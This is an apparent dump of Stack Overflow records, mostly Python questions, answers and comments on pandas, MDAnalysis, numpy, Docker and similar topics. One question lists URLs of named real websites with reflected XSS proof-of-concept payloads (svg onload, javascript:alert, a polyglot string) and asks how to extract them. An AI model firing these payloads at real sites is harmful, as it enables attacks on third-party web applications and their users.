has body: I am trying to load a .crd file from Amber, but this fails because it's not in the format MDAnalysis expect (see error at the end): topology = 'top.prmtop' trajectory = 'amberOut.crd' u = MDAnalysis.Universe(topology, trajectory) I saw this thread and also this library which I don't want to use if I can read Amber .crd file using MDAnalysis. Any ideas why it doesn't work? If I load the trajectory in VMD I am using this command (and it works): vmd -parm7 top.prmtop -crdbox amberOut.crd Traceback (most recent call last): File "analysis.py", line 5, in &lt;module&gt; u = MDAnalysis.Universe(topology, trajectory) File "/anaconda3/envs/mdaenv/lib/python2.7/site-packages/MDAnalysis/core/universe.py", line 305, in __init__ self.load_new(coordinatefile, **kwargs) File "/anaconda3/envs/mdaenv/lib/python2.7/site-packages/MDAnalysis/core/universe.py", line 535, in load_new self.trajectory = reader(filename, **kwargs) File "/anaconda3/envs/mdaenv/lib/python2.7/site-packages/MDAnalysis/coordinates/base.py", line 1943, in __init__ self._read_first_frame() File "/anaconda3/envs/mdaenv/lib/python2.7/site-packages/MDAnalysis/coordinates/CRD.py", line 73, in _read_first_frame natoms = int(fields[0]) ValueError: invalid literal for int() with base 10: '96.380'
tagged with: mdanalysis
has comment: http://stackoverflow.com/comment/84387364
has comment: http://stackoverflow.com/comment/84512757
has comment: http://stackoverflow.com/comment/84430169
accepted answer: http://stackoverflow.com/a/48776820
has comment: http://stackoverflow.com/comment/84367217
has comment: http://stackoverflow.com/comment/84377343
tagged with: python
tagged with: vmd
favorite count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84466250
has comment: http://stackoverflow.com/comment/84356957
tagged with: chemistry
has title: How to load .prmtop and .crd files from Amber using MDAnalysis?
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/84356866
has comment: http://stackoverflow.com/comment/84555156
has answer: http://stackoverflow.com/a/48776820
has comment: http://stackoverflow.com/comment/84430139
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/84466295
downvote count: 0

http://stackoverflow.com/q/48769579
tagged with: pandas
has comment: http://stackoverflow.com/comment/84540562
tagged with: python
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84544300
has title: Pandas apply function using another DataFrame
score: 1
has answer: http://stackoverflow.com/a/48774398
type: Question
has body: I'm trying to use the apply function on my dataframe ('homes') that has multi index ('states' and 'RegionName'). The function i use tries to check if the combination of state and Region Name is matched by my other data frame ('UT'). when applying this function: homes['UT']=homes.apply(lambda row: 1 if ut[(ut['State']==states[homes.iloc[row].name[0]]) &amp; (ut['RegionName']==homes.iloc[row].name[1])] else 0, axis=1) i get an error saying basicaly that my index is out of bounds. I tried a few things like converting the other dataframe to two lists and check if the rows of my dataframe are in those lists but still getting the same error. my ut dataframe head: State RegionName 1 Alabama Auburn 2 Alabama Florence 3 Alabama Jacksonville 4 Alabama Livingston 5 Alabama Montevallo my home data frame head: 2000q1 2000q2 2000q3 2000q4 State RegionName New York New York NaN NaN NaN NaN California Los Angeles 207066.666667 214466.666667 220966.666667 226166.666667 Illinois Chicago 138400.000000 143633.333333 147866.666667 152133.333333 Pennsylvania Philadelphia 53000.000000 53633.333333 54133.333333 54700.000000 Arizona Phoenix 111833.333333 114366.666667 116000.000000 117400.000000 Any suggestions?
has comment: http://stackoverflow.com/comment/84540012
has comment: http://stackoverflow.com/comment/84540909
upvote count: 1
has comment: http://stackoverflow.com/comment/84540296
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/84384948
score: 0
has text: Thanks for the explanation. I didn't think of 'hours' being an option since it was not part of my datetime.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48692332

http://stackoverflow.com/q/48738519
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/84476756
score: 0
upvote count: 1
answer count: 1
downvote count: 1
has title: Getting error using gender.py
type: UnansweredQuestion
has body: am trying to tell gender by first name. I been using this code from: [https://github.com/block8437/gender.py/blob/master/gender.py][1] import requests, json def getGenders(names): url = "" cnt = 0 if not isinstance(names,list): names = [names,] for name in names: if url == "": url = "name[0]=" + name else: cnt += 1 url = url + "&amp;name[" + str(cnt) + "]=" + name req = requests.get("https://api.genderize.io?" + url) results = json.loads(req.text) retrn = [] for result in results: if result["gender"] is not None: retrn.append((result["gender"], result["probability"], result["count"])) else: retrn.append((u'None',u'0.0',0.0)) return retrn Everything was working for 2 days, I have not change anything in the code. I been passing different names in it on and off for 2 days. Suddenly I got this error: string indices must be integers on this line: if result["gender"] is not None: First, I want to know why this would suddenly happen? Second, How can I fix it?
has comment: http://stackoverflow.com/comment/84476707
favorite count: 0
has answer: http://stackoverflow.com/a/48738721
has comment: http://stackoverflow.com/comment/84477265

http://stackoverflow.com/a/62873751
has body: I think a decorator is a nice and expressive way to do this. I'm sure my implementation could be improved upon, but it works, and I think it makes the usage very readable: class MutuallyExclusiveArgsError(Exception): def __init__(self, groups): err = f"These groups or arguments are mutually exclusive: {','.join(str(tuple(g)) for g in groups)}" super().__init__(err) def exclusive_args(*args): import attr import functools from typing import Callable,Set,Union,Iterable @attr.s class _inner: _arg_groups_conv = lambda val: {arg: group for group in {frozenset([s]) if isinstance(s, str) else s for s in val} for arg in group} func : Callable = attr.ib() arg_groups : Set[Union[str,Iterable]] = attr.ib(converter=_arg_groups_conv, kw_only=True) def __attrs_post_init_(self): functools.update_wrapper(self, self.func) def __call__(self, *args, **kwargs): groups = {self.arg_groups[kw] for kw in kwargs} if len(groups) > 1: raise MutuallyExclusiveArgsError(groups) self.func(*args, **kwargs) return functools.partial(_inner, arg_groups=args) The usage then looks like this: @exclusive_args("one", "two") def ex(*, one=None, two=None): print(one or two) ex(one=1, two=2) --------------------------------------------------------------------------- MutuallyExclusiveArgsError Traceback (most recent call last) <ipython-input-38-0f1d142483d2> in <module> ----> 1 ex(one=1, two=2) <ipython-input-36-c2ff5f47260f> in __call__(self, *args, **kwargs) 21 groups = {self.arg_groups[kw] for kw in kwargs} 22 if len(groups) > 1: ---> 23 raise MutuallyExclusiveArgsError(groups) 24 self.func(*args, **kwargs) 25 return functools.partial(_inner, arg_groups=args) MutuallyExclusiveArgsError: These groups or arguments are mutually exclusive: ('two',),('one',) ex(one=1) 1 ex(two=2) 2 or like this: @exclusive_args("one", ("two","three")) def ex(*, one=None, two=None, three=None): print(one, two, three) ex(one=1) 1 None None ex(two=1) None 1 None ex(three=1) None None 1 ex(two=1, three=2) None 1 2 ex(one=1, two=2) -…
answers question: http://stackoverflow.com/q/48794268
score: 0
type: Answer

http://stackoverflow.com/comment/84545035
type: QuestionComment
comment on: http://stackoverflow.com/q/48770975
type: Comment
score: 2
has text: @gc5 You might've misunderstood what I meant. The whole point of sparse matrices is that you only store (and perform operations) on nonzero elements. The way elements are stored is using 3 values per element. Your task is to encode this information in a file in a space-conserving way. If you use `uint` instead of `double` you might be able to save some space. If you choose to export it as a MATLAB `.mat` file (v7 or later) it will be compressed, saving more space. You don't have to export whatever representation the source software has for `sparse` arrays and hope it can be read later on.

http://stackoverflow.com/comment/84604813
score: 0
type: Comment
type: QuestionComment
has text: [python for making PPT](http://pbpython.com/creating-powerpoint.html), I think this would be useful.
comment on: http://stackoverflow.com/q/48801028

http://stackoverflow.com/comment/84460734
score: 1
comment on: http://stackoverflow.com/q/48729795
type: QuestionComment
has text: [WAL mode](http://www.sqlite.org/wal.html) makes a difference only if there is a writer. And WAL mode is a property of the database file, not of the connection.
type: Comment

http://stackoverflow.com/comment/84418103
has text: In order to help you I need to know what does "input()" do in Python.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48709606

http://stackoverflow.com/comment/84585191
type: Comment
has text: @hop yea I just realized the `char in nums` was gonna compare `str` to `int` and leave `''`.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48790958

http://stackoverflow.com/comment/84354345
score: 0
type: Comment
has text: Actually I think your answer is general for all function constructed from addition or subtraction of vectorized functions.
comment on: http://stackoverflow.com/a/48676455
type: AnswerComment

http://stackoverflow.com/q/48775924
has answer: http://stackoverflow.com/a/48776371
score: 0
tagged with: pandas-groupby
tagged with: pandas
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84554379
has comment: http://stackoverflow.com/comment/84554281
has title: Average values in last n days pandas
favorite count: 0
has comment: http://stackoverflow.com/comment/84553562
type: UnansweredQuestion
has body: I've got a dataframe of golfers and their golf rounds in various tournaments (see dictionary of df head posted below). I need a fast way of computing, for each round the player plays, his average 'strokes gained' (SG) over the previous n days, where n is any value I decide. I would know how to do this by converting the dataframe into a list of lists and iterating through but that would be very slow. Ideally I want an extra column in the Pandas df titled 'Player's average SG in last 100 days'. This is what we're working with (dict of dataframe head): {'Avg SG Player': {0: 0.4564491861877877, 1: -0.170952417298073, 2: 1.509033309098962, 3: -1.7298114700775877, 4: 1.7856746598995106}, 'Avg Score': {0: 69.53846153846153, 1: 69.53846153846153, 2: 69.53846153846153, 3: 69.53846153846153, 4: 69.53846153846153}, 'Date': {0: Timestamp('2003-01-23 00:00:00'), 1: Timestamp('2003-01-23 00:00:00'), 2: Timestamp('2003-01-23 00:00:00'), 3: Timestamp('2003-01-23 00:00:00'), 4: Timestamp('2003-01-23 00:00:00')}, 'Field Strength': {0: 0.08871540761770776, 1: 0.08871540761770776, 2: 0.08871540761770776, 3: 0.08871540761770776, 4: 0.08871540761770776}, 'Ind': {0: 0, 1: 1, 2: 2, 3: 3, 4: 4}, 'Overall SG': {0: 7.627176946079241, 1: 5.627176946079241, 2: 5.627176946079241, 3: 4.627176946079241, 4: 4.627176946079241}, 'Player': {0: 'Harrison Frazar', 1: 'John Huston', 2: 'David Toms', 3: 'James H. McLean', 4: 'Luke Donald'}, 'Round': {0: 'R1', 1: 'R1', 2: 'R1', 3: 'R1', 4: 'R1'}, 'Rounds Played': {0: 270, 1: 209, 2: 228, 3: 28, 4: 221}, 'SG on Field': {0: 7.538461538461533, 1: 5.538461538461533, 2: 5.538461538461533, 3: 4.538461538461533, 4: 4.538461538461533}, 'Score': {0: 62, 1: 64, 2: 64, 3: 65, 4: 65}, 'Tourn-Round': {0: '2003 Phoenix OpenR1', 1: '2003 Phoenix OpenR1', 2: '2003 Phoenix OpenR1', 3: '2003 Phoenix OpenR1', 4: '2003 Phoenix OpenR1'}, 'Tournament': {0: '2003 Phoenix Open', 1: '2003 Phoenix Open', 2: '2003 Phoenix Open', 3: '2003 Phoenix Open', 4: '2003 Phoenix Open'}} EDITE…
tagged with: python
has comment: http://stackoverflow.com/comment/84553966
has comment: http://stackoverflow.com/comment/84553597
type: Question
has comment: http://stackoverflow.com/comment/84553564
answer count: 1

http://stackoverflow.com/comment/84608648
has text: It's not a difficult problem, but it would be easier to solve if you provided text instead of pictures, so it would be easy to copy
comment on: http://stackoverflow.com/q/48803022
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/comment/84444757
score: 0
has text: @Nae I fixed the indents and gave you my whole code so you can c/p.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48721627

http://stackoverflow.com/comment/84525932
type: Comment
type: QuestionComment
has text: can you provide some sample data?
score: 0
comment on: http://stackoverflow.com/q/48761138

http://stackoverflow.com/q/48802075
has answer: http://stackoverflow.com/a/48802214
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48802347
has comment: http://stackoverflow.com/comment/84606758
has answer: http://stackoverflow.com/a/48802540
has answer: http://stackoverflow.com/a/48807406
type: Question
has title: convert substrings to dict
has body: Looking for a elegant way to convert a list of substrings and the text between them to key, value pairs in a dict. Example: s = 'k1:some text k2:more text k3:and still more' key_list = ['k1','k2','k3'] (missing code) # s_dict = {'k1':'some text', 'k2':'more text', 'k3':'and still more'} This is solvable using str.find(), etc, but I know there's a better solution than what I've hacked together.
upvote count: 9
has answer: http://stackoverflow.com/a/48822980
possible better answer: http://stackoverflow.com/a/48802178
has comment: http://stackoverflow.com/comment/84620624
has comment: http://stackoverflow.com/comment/84606843
has answer: http://stackoverflow.com/a/48802178
accepted answer: http://stackoverflow.com/a/48802214
answer count: 6
has comment: http://stackoverflow.com/comment/84798075
score: 9
has comment: http://stackoverflow.com/comment/84606721
downvote count: 0
tagged with: string
has comment: http://stackoverflow.com/comment/84606771
favorite count: 0
has comment: http://stackoverflow.com/comment/84606677
tagged with: python
tagged with: dictionary

http://stackoverflow.com/comment/84311248
has text: Can you mention your full code here ?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48656774

http://stackoverflow.com/comment/84370061
comment on: http://stackoverflow.com/q/48686159
score: 0
has text: _"This approach does not work since i get the same results"_. What results are those?
type: Comment
type: QuestionComment

curses
tags question: http://stackoverflow.com/q/48697482
tag name: curses
type: Tag

http://stackoverflow.com/comment/84300564
score: 0
has text: what is the excpected output?? also instead of adding a picture of your dataset add it as text
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48651260

http://stackoverflow.com/comment/84418256
type: QuestionComment
comment on: http://stackoverflow.com/q/48709430
type: Comment
score: 0
has text: do you need to use `datascience` library for this?

http://stackoverflow.com/q/48730188
has body: I have over a thousand links which all have GET based parameters. https://us.webuy.com/search/index.php/"> https://www.densuke.biz/help http://www.ntrcars.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert(/XSS/)%3E http://www.americanexpress.com/thailand/en/leave_country.shtml?url=javascript:alert`XSS` https://share.trin.cam.ac.uk/sites/public/Pages/PageNotFoundError.aspx?FollowSite=0&SiteName='-confirm(/XSS/)-' http://www.rockwellautomation.com/global/news/the-journal/detail.page?docid=dfb8c8ba15e7cf2c599fc321b8e2b98e&G11N/Locale=en&geography=%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSS/%29%3E&content_type=magazine&pagetitle=\n https://www.ifishillinois.org/profiles/display_lake.php?waternum=1/*-/*`/*\`/*'/*"/**/--> <svg/onload=;prompt(/XSS/);>00116 http://tools.xaa.su/htaccess/ http://www.wa.lk/realstate/product_display.php?id=%22%22;%3C%2Fscript%3E%3Cscript%3Eprompt(%2FXSS%2F)%3C%2Fscript%3E%3C%22 I need to extract all of the data which contains the string 'XSS' and put them into a list. "> %22%3E%3Csvg/onload=alert(/XSS/)%3E javascript:alert`XSS` '-confirm(/XSS/)-' and so on... I have attempted to use urlparse but don't see this type of function anywhere #from urllib.parse import urlparse # #url = 'http://user:pwd@NetLoc:80/path;param?query=arg#frag' #parsed = urlparse(url) #print('scheme :', parsed.scheme) #print('netloc :', parsed.netloc) #print('path :', parsed.path) #print('params :', parsed.params) #print('query :', parsed.query) #print('fragment:', parsed.fragment) #print('username:', parsed.username) #print('password:', parsed.password) #print('hostname:', parsed.hostname) #print('port :', parsed.port) To be clear; each URL will have a javascript payload that I'm looking to extract.
has title: How to extract data from parameters?
tagged with: urlparse
tagged with: bash
answer count: 1
favorite count: 0
tagged with: linux
tagged with: python
type: UnansweredQuestion
score: 0
upvote count: 1
has answer: http://stackoverflow.com/a/48730366
downvote count: 1
type: Question

http://stackoverflow.com/a/48782906
has comment: http://stackoverflow.com/comment/84586238
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48781952
has comment: http://stackoverflow.com/comment/84583218
type: Answer
has body: I'll give you an idea about how to do it. You should create a new simple view which will look like save_progress(request). def save_progress(request): progress = request.POST.get('progress') ...do with it what you want... Than create url in the same way path('app_name/..path../save-progress/', views.save_progress, name='save-progress'). So now you wi'll have the url and view defined, co you can write the javascript controller var timeout = null; function saveProgress() { clearTimeout(timeout); timeout = setTimeout(function() { $.ajax({ method: 'POST', url: '{% url "save-progress" %}' data: {progress: $('#slider-id-to-be-saved').val()}, success: function(response) { console.log('Yeah! Your data were sent and saved!'); } }) }, 500); // so it will wait 500ms until it actually sends the POST } and add the onchange listener to the input range &lt;input type="range" min="0" max="100" step="0.01" value="50" data-rangeslider onchange="saveProgress"&gt; This is the idea of it. Notice the timeout, so your data will be sent actually after it does not change for a while.
upvote count: 1
has comment: http://stackoverflow.com/comment/84584600
score: 1
accepted answer of: http://stackoverflow.com/q/48781952

http://stackoverflow.com/comment/84498017
has text: I'm using Sublime with a code linter and I set the length limit to 109, but what if I (someday) have something like 150 chars?
comment on: http://stackoverflow.com/q/48748510
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84474646
comment on: http://stackoverflow.com/a/48733093
score: 0
type: AnswerComment
has text: The first command that disables auto update of conda works on conda 5.0.1 but not on conda 2.3.0
type: Comment

http://stackoverflow.com/a/48793809
has comment: http://stackoverflow.com/comment/137638577
answers question: http://stackoverflow.com/q/48792965
type: AcceptedAnswer
upvote count: 9
type: Answer
has comment: http://stackoverflow.com/comment/84592380
score: 9
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48792965
has comment: http://stackoverflow.com/comment/84592790
has body: A simple test, looks good. FROM python:2.7 RUN apt-get update &amp;&amp; \ apt-get install -y build-essential libzbar-dev &amp;&amp; \ pip install zbar i tried alpine.. but the zbar lib is only available in the edge branch -- trying to get it to work was more trouble than it was worth. PS. beware of images that are not in the docker repo. -- didnt know it was your image Working example: $ docker build -t yourimagenamehere . Sending build context to Docker daemon 2.048kB Step 1/2 : FROM python:2.7 ---&gt; 9e92c8430ba0 ... trunc... Successfully built d951cd32ea74 Successfully tagged yourimagenamehere:latest $ docker run -it --rm yourimagenamehere Python 2.7.14 (default, Dec 12 2017, 16:55:09) [GCC 4.9.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import zbar &gt;&gt;&gt;

http://stackoverflow.com/comment/84608046
score: 1
type: AnswerComment
has text: @Simplicity Did you check that `files` was being sorted or not? If not, you may want to open another question with your input file names, asking how you can sort them as desired. Note that this only sorts the `files` list in your program, not the files as seen in your file system...
type: Comment
comment on: http://stackoverflow.com/a/48802186

http://stackoverflow.com/comment/84585680
type: Comment
comment on: http://stackoverflow.com/a/48788622
has text: I have tried what you suggested and unfortunately, it didn't work. I get the following error: ValueError: No name available for layer scope because the layer "lstmConv2d" has not been used yet. The scope name is determined the first time the layer instance is called. You must therefore call the layer before querying `scope_name` I think this happens because it is in the model function of an estimator (no graph has been constructed yet?)
score: 0
type: AnswerComment

http://stackoverflow.com/a/48700728
answers question: http://stackoverflow.com/q/48699286
has body: You can use the int method to convert the string number to an integer before saving the xlsx file. Ex: from openpyxl import load_workbook wb=load_workbook('template.xlsx') ws=wb.active ws['A11']=int("1") #ws['F22']=int(m5F[0]) wb.save('template.xlsx')
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/98674669

http://stackoverflow.com/q/48757530
has answer: http://stackoverflow.com/a/48757590
has title: pass bash script args as named parameters to a command inside the script
tagged with: variables
tagged with: bash
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48757590
type: Question
possible better answer: http://stackoverflow.com/a/48757773
answer count: 2
has answer: http://stackoverflow.com/a/48757773
tagged with: python
has body: I have a bash script that takes two parameters. Inside that script, I need to call ssh using a heredoc and call a method that expects the two arguments. For example: ssh -o "IdentitiesOnly=yes" -t -i $key -l user localhost &lt;&lt; 'ENDSSH' /my_python_app.py -u -t tar -p $1 -f $2 ENDSSH key is set by my script, I know that part is good. However, my_python_app prints out args and it doesn't show any arguments for -p and -f I would call my script like my_script /tmp filename I use argparse in my python app, but I am also printing out sys.argv and it gives me: ['my_python_app.py', '-u', '-t', 'tar', '-p', '-f'] Note there are no values received for -p and -f. (-u is a flag, and that is set correctly). How do I pass $1 and $2 to my_python_app as the -p and -f values?
has comment: http://stackoverflow.com/comment/84516694
score: 0

http://stackoverflow.com/comment/100122683
comment on: http://stackoverflow.com/a/53895551
type: AnswerComment
has text: Valid! Remove '*' in "def random_order_cartesian_product(*factors):" if your "factors" is a list etc
score: 0
type: Comment

http://stackoverflow.com/q/48795993
has body: I'm trying to set up the Atom's autocomplete-python package on my Mac (10.11.6) and have three related questions... 1) As I type a python keyword, arguments ARE displayed, but how do I make them print to my document? For example, when I type "DATABAS", autocomplete offers this option: c DATABASES { 'default': { 'ENGINE': 'django.db.backend... Hitting the enter key to select this option only prints the command "DATABASES" to my file. What keystrokes are needed to also print the arguments? The readme's suggestion of open parenthesis only prints that character, even though my US keyboard setup seems to be sending the correct Unicode U+0028 with this key. The package's "Autocomplete Function Parameters" is set to "all" autocomplete-plus is installed, and seems to be functioning: Typing "open", enter key and "(" adds the arguments for that command. Adding "*.none" to that package's "File Blacklist" setting seemed to have no effect on my autocomplete-python question. Jas asked what may be the same question but there are no answers, so I'm trying again with different wording and more research results. walles posted an issue in 2015, which prompted a package change. But that new Atom command "Autocomplete Python: Complete Arguments" doesn't seem to do anything just after I select the "DATABASES" option, nor after I manually select the entire word "DATABASES". What am I missing here? 2) Is there more documentation for autocomplete-python that I haven't found yet? 3) autocomplete-python offers prefix letters before the offered options. (The "c" above, apparently meaning "Command".) Has a legend been published for all possible prefixes? That would help me learn more about python. Thanks in advance
has title: Atom autocomplete-python: Arguments? More documentation? Prefixes?
tagged with: autocomplete
score: 0
tagged with: atom-editor
linked to: http://stackoverflow.com/q/48468686
has comment: http://stackoverflow.com/comment/89304903
tagged with: python
answer count: 0
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/84595258

http://stackoverflow.com/a/48731156
type: Answer
answers question: http://stackoverflow.com/q/48731050
score: 4
upvote count: 4
downvote count: 0
has body: This is one way. It works because numpy broadcasts implicitly. import numpy as np mask = np.array([[1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 1, 0, 0], [1, 1, 1, 1, 0, 1, 0, 0], [1, 1, 1, 1, 0, 1, 0, 0]]) arr = np.array([128, 64, 32, 16, 8, 4, 2, 1]) arr2 = arr * mask # array([[128, 64, 32, 16, 0, 0, 2, 1], # [128, 64, 32, 16, 0, 0, 2, 1], # [128, 64, 32, 16, 0, 0, 2, 1], # [128, 64, 32, 16, 0, 0, 2, 1], # [128, 64, 32, 16, 0, 0, 2, 1], # [128, 64, 32, 16, 0, 4, 0, 0], # [128, 64, 32, 16, 0, 4, 0, 0], # [128, 64, 32, 16, 0, 4, 0, 0]])

http://stackoverflow.com/comment/85024966
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48707040
has text: Adb loses connection. No the script doesn't anything special. Actually when I see adb process in running, sometimes adb server disconnectes to 5037 port. I work on Ubuntu Linux with android SDK installed. So I think that the problem is with adb installation. Is it a special driver with adb in linux ubuntu ? Like in windows.

http://stackoverflow.com/comment/84550113
has text: Did you change your context as I mentioned
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48772840

http://stackoverflow.com/comment/84559009
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48778321
has text: Thanks! This, now for me to, seems to be the reason for the code to lock up. I've tried to use `loop.run_in_executor` but gives me an error, i think the websockets library does not work in combination. I have found Janus https://github.com/aio-libs/janus i think this can potentially solve the issue.

http://stackoverflow.com/a/48783744
type: Answer
score: 8
downvote count: 0
upvote count: 8
has body: you can try: list=[121,123,125,145] series='00'+pd.Series(list).astype(str) print(series) output: 0 00121 1 00123 2 00125 3 00145 dtype: object
answers question: http://stackoverflow.com/q/48783650
has comment: http://stackoverflow.com/comment/84569275

http://stackoverflow.com/comment/84461070
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48729795
has text: Yes I intend to make two separate connections, (1) writer connection for making updates and (2) reader connections for serving selects.

http://stackoverflow.com/q/48800024
score: 0
linked to: http://stackoverflow.com/q/45339717
answer count: 1
has comment: http://stackoverflow.com/comment/84602902
tagged with: python
has title: python3 - get average of n x n array within a 600 x 600 numpy array
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48813770
linked to: http://stackoverflow.com/q/31989903
has comment: http://stackoverflow.com/comment/84603030
type: Question
tagged with: numpy
has body: I am writing a method which takes 4 arguments: im: a 600 x 600 numpy array filled with values ranging from 0 - 1000 pos_1: x index in im pos_2: y index in im grid_size: size of a sub-grid created given user input, used for averaging I want to return the average in the n x n grid around the location of [pos_1, pos_2]. Grid_size will be 5, 7 or 9. Eg. If grid_size was 5, pos_1 was 20 and pos_2 was 150, I would sum the values in a 5 x 5 grid centred around im[20,150] divided by 25 (5 x 5). The current implementation is: def calc_density(im, pos_1, pos_2, grid_size): grid_sum = 0 if(pos_1 &lt; 600 - (grid_size - 1)/2): if(pos_1 &gt; (grid_size - 1)/2): if(pos_2 &lt; 600 - (grid_size - 1)/2): if(pos_1 &gt; (grid_size - 1)/2): for i in range(grid_size): for j in range(grid_size): grid_sum = grid_sum + im[(pos_1 - (grid_size - 1)/2) + i, (pos_2 - (grid_size - 1)/2) + j] This method should work for any case where [pos_1, pos_2] does not fall within (grid_size - 1)/2 from the edge of im. If it does then the averaging n x n grid will fall outside of im. If this happens then I am hoping to drop those positions which fall out of im and find the average of those which do fall in the n x n grid. I can only imagine doing this with a lot of 'if' cases. Is there a better way to do this?
tagged with: arrays
accepted answer: http://stackoverflow.com/a/48813770
has comment: http://stackoverflow.com/comment/84603091

http://stackoverflow.com/q/48796084
upvote count: 1
accepted answer: http://stackoverflow.com/a/48796157
has comment: http://stackoverflow.com/comment/84595080
type: AnsweredQuestion
tagged with: list
score: 1
type: Question
has comment: http://stackoverflow.com/comment/84595040
answer count: 2
has answer: http://stackoverflow.com/a/48796188
has title: Retrieve indices of letters in a string for python
downvote count: 0
favorite count: 0
possible better answer: http://stackoverflow.com/a/48796188
has answer: http://stackoverflow.com/a/48796157
has comment: http://stackoverflow.com/comment/84594661
tagged with: python
has body: I have a string: "Bob's tank has a big boom!" I want to use filter to find the indices of where letters of the alphabet appear in the string to save their placement to a list. import string alphabet = string.ascii_lowercase str_ = "Bob's tank has a big boom!" list_index = list(filter(lambda x: x in alphabet, str_)) Currently it just collects all the letters, but i'd like to know their index in the object str_. Edit for more clarity Output should be: [0,1,2,4,6,7...] [B,o,b,s,t,a...]
has comment: http://stackoverflow.com/comment/84594702
has comment: http://stackoverflow.com/comment/84635308
has comment: http://stackoverflow.com/comment/84594703

http://stackoverflow.com/comment/84366523
score: 0
has text: Please measure the performance of at least 1000 iterations. Your results can be missleading. Meassuring the performance with time.time() with a function taking only a few ms is not recommended...
comment on: http://stackoverflow.com/q/48673082
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84476368
comment on: http://stackoverflow.com/a/48738289
score: 0
type: AnswerComment
has text: @RustyShackleford: Well of course that's true, because for your example data it is true. Look at the data. The code is working, you just need to decide why your expected outcome differs from what you asked for.
type: Comment

http://stackoverflow.com/q/48753670
has comment: http://stackoverflow.com/comment/84509269
tagged with: python
tagged with: create-react-app
tagged with: node.js
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48774544
score: 0
has answer: http://stackoverflow.com/a/56694169
has answer: http://stackoverflow.com/a/48774544
has comment: http://stackoverflow.com/comment/84508228
type: Question
has title: React, Express, Node, Python
tagged with: express
accepted answer: http://stackoverflow.com/a/56694169
tagged with: reactjs
answer count: 2
has comment: http://stackoverflow.com/comment/84508212
has body: So I have a python script that processes an image. I have tested python integration with Node running on express server and I am able to get what I want. I can read the file from a folder with the path provided. Then I went ahead and separately learnt using Multer with Express for Image uploads. And I started making a simplistic UI with create-react-app. The UI is almost complete, so I think I want to stick to it. The folder structure is the default with a components folder under src. Adding express to App.js gives me Critical Dependency Error. So where I am stuck now is - How should I integrate all this? I want to use Multer on the form submit. But create-react-app works on a separate server of its own I guess and doesn't let express app listen. My end goal is to ask the user for a file, process it and display the output. Should I be even aiming for Multer? Is it possible to run my python script on the user's side such that it reads the path on the user's system, reads the image and gives the output. I don't really want to get into Django or Flask. I would be deploying this in the future.

http://stackoverflow.com/comment/84535703
comment on: http://stackoverflow.com/q/48767418
type: Comment
has text: If you wanted to do this via direct manipulation of the source code, how would you tell that a given portion of the source actually *is* a global variable, and not just random text in the middle of a string literal or a comment? Doing this right would be considerably more complicated than just using the existing tools for the job.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84419348
type: AnswerComment
has text: This should be edited to retain the default values or mention that it removes the default values.
type: Comment
comment on: http://stackoverflow.com/a/48710205
score: 0

http://stackoverflow.com/a/48777971
upvote count: 1
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/48759553
has body: After incorporating some of the suggested ideas this is what I came up with. I lost readability but what I needed was performance. Whole run took about 2 hours to finish on my main computer. def find_cluster(cluster_name, dataframe): """ returns clusters with disjoint maxpaths annotated to different genomes or annotated on the same genome min of 10kb apart """ cluster = cluster_name df = dataframe maxpaths = [set(item) for item in [_.split(',') for _ in df['maxpath'].as_matrix()]] chrom_string = df['chrom_pos'].as_matrix() chrom = [_.split(':')[0] for _ in df['chrom_pos'].as_matrix()] chrom_end = [int(_.split('-')[1]) for _ in df['chrom_pos'].as_matrix()] for idx,item in enumerate(maxpaths): for j in range(idx+1, len(maxpaths)): if item.isdisjoint(maxpaths[j]): if chrom[idx] != chrom[j]: return(cluster) elif chrom[idx] == chrom[j]: if abs(chrom_end[idx] - chrom_end[j]) &gt; 10000: return(cluster) def df_to_dict(dataframe): """ Create dict with cluster as key and subset of dataframe at cluster as value """ df = dataframe unique_clusters = df['cluster_name'].unique() sub_dfs = [] for i in unique_clusters: sub_dfs.append(df[df['cluster_name'] == i]) return(dict(zip(unique_clusters, sub_dfs))) def get_clusters(dataframe): """ return disjoint clusters """ df = pd.read_csv(dataframe, index_col=False) df_dict = df_to_dict(df) disjoint = [find_cluster(k,v) for k,v in df_dict.items() if find_cluster(k,v)] return(disjoint) def test_new(): cluster = ["cluster_689"] disjoint_cluster = [] for i in cluster: found = find_cluster(i, subset_df) disjoint_cluster.append(found) return(disjoint_cluster) def test_old(): cluster = ["cluster_689"] 